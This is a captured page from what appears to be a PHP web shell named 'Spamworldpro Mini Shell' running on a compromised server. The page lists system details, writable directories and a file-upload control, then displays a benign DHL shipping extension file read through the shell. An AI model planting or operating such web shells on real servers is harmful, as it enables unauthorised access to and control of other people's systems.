Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/old/vendor/extmag/dhlshipping2/Helper/Request/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/old/vendor/extmag/dhlshipping2/Helper/Request/PickupCancel.php
<?php
/**
 * Copyright © Extmag. All rights reserved.
 */

namespace Extmag\DhlShipping\Helper\Request;

use Exception;

class PickupCancel extends Dhl
{
    /**
     * @var string
     */
    protected $requestType = 'PickupCancel';

    /**
     * @inheritDoc
     */
    public function formRequest()
    {
        $this->formHeaderRequest($this->requestType, $this->formNativeScheme());
    }

    /**
     * Form Native Scheme
     *
     * @return array
     * @throws Exception
     */
    public function formNativeScheme()
    {
        return [
            'Request' => $this->formDhlSecurity(false),
            'RegionCode' => null,
            'ConfirmationNumber' => $this->data['prn'],
            'RequestorName' => $this->data['shipper_name'],
            'CountryCode' => $this->data['response']['CountryCode'],
            'OriginSvcArea' => $this->data['response']['OriginSvcArea'],
            'PickupDate' => $this->data['pickup_date'],
            'CancelTime' => $this->timezone->date($this->getTimezoneByAccount())->format('H:i'),
        ];
    }
}

Spamworldpro Mini